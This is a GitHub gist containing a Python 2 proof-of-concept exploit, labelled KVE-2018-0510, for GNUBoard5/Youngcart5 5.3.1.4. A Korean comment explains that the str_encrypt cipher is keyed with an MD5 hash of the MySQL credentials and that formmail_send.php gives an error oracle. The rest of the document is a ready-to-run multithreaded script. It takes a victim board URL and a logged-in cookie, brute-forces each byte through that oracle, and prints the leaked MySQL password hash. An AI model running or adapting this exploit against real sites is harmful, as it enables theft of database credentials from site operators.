Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active December 16, 2019 04:07
Show Gist options
  • Save stypr/d6f69048e7a1098d9228bc3deccff465 to your computer and use it in GitHub Desktop.
Save stypr/d6f69048e7a1098d9228bc3deccff465 to your computer and use it in GitHub Desktop.
KVE-2018-0510 Broken cryptosystem leading to MySQL password leakage PoC
#!/usr/bin/python -u
#-*- coding: utf-8 -*-
''' 그누보드/영카트 5.3.1.4 str_encrypt 암복호 시스템 결함을 통한
MySQL Password Leak by stypr ( https://harold.kim )
* str_encrypt 클래스를 사용하는 모든 버전에 취약함. (최소 5.1.17부터 취약한 것으로 추정됨)
* str_encrypt는 최초 로드시 MySQL 계정정보를 md5 해쉬를 key로 설정함.
* 그 salt를 이용해 byte-by-byte add 연산을 하여 base64 인코딩함.
* formmail_send.php 에서 @가 두개일 때 오류 발생
- email 입력 글자길이를 체크 안함
- 위 점과 key의 길이가 32자임을 이용해 1 byte씩 leak하여 SALT leak.
'''
import threading
import urllib2
import base64
import sys
import time
SALT = [""]*32
HOST = ""
COOKIE = ""
# n번째 바이트 leak
def leak_byte(n):
global SALT, HOST, COOKIE
# 16 if (substr_count($to, "@") > 1)
# 17 alert_close('한번에 한사람에게만 메일을 발송할 수 있습니다.');
def try_payload(n, i):
""" 글자 leak을 위한 패딩 함수 '
try_payload(n번째 바이트, 브루트포스 할 값) """
# dummy_byte 생성
dummy_byte = chr(0x01)
payload = (dummy_byte * n) + chr(i) + (dummy_byte * (31 - n))
payload += payload
return __import__("base64").b64encode(payload)
# range(111, 122): 0~9, range(161,167): a-f
for i in range(111, 122) + range(161, 167):
payload = try_payload(n, i)
#print("[-] Leaking char %s: Tried %s/255" % (n, i))
# (HOST + "/bbs/formmail_send.php?to=" + payload)
req = urllib2.Request(HOST+"/bbs/formmail_send.php?to=" + payload)
req.add_header("Cookie", COOKIE)
resp = urllib2.urlopen(req).read()
# 에러 내용 확인
alert_result = resp.split("<script>")[2].split("</script>")[0]
#print(alert_result)
# (current i decrypts to @)
if "한번에 한사람에게만" in alert_result:
_leak = chr(i - ord("@"))
SALT[n] = _leak
print("[*] Byte %s Leak: %s" % (n, ''.join(SALT)))
break
if __name__ == "__main__":
print("GNUBoard5/Youngcart5 MySQL Password Leak by stypr(https://harold.kim/)")
print("="*70)
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " [http(s)://victim_board_url/] [COOKIE]")
sys.exit(0)
# 반드시 로그인 된 상태의 Cookie여야 정상작동함.
HOST = sys.argv[1]
COOKIE = sys.argv[2]
t = [] # 멀티프로세스 형식 쓰레드
# len(md5(x)) == 32
for n in range(32):
p = threading.Thread(target=leak_byte, args=(n,))
t.append(p)
p.start()
while len(t) > 0:
t = [i for i in t if i.is_alive()]
time.sleep(1)
print("==== Leaked MySQL Password Hash: " + ''.join(SALT[1:32]) + SALT[0] + " ====")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment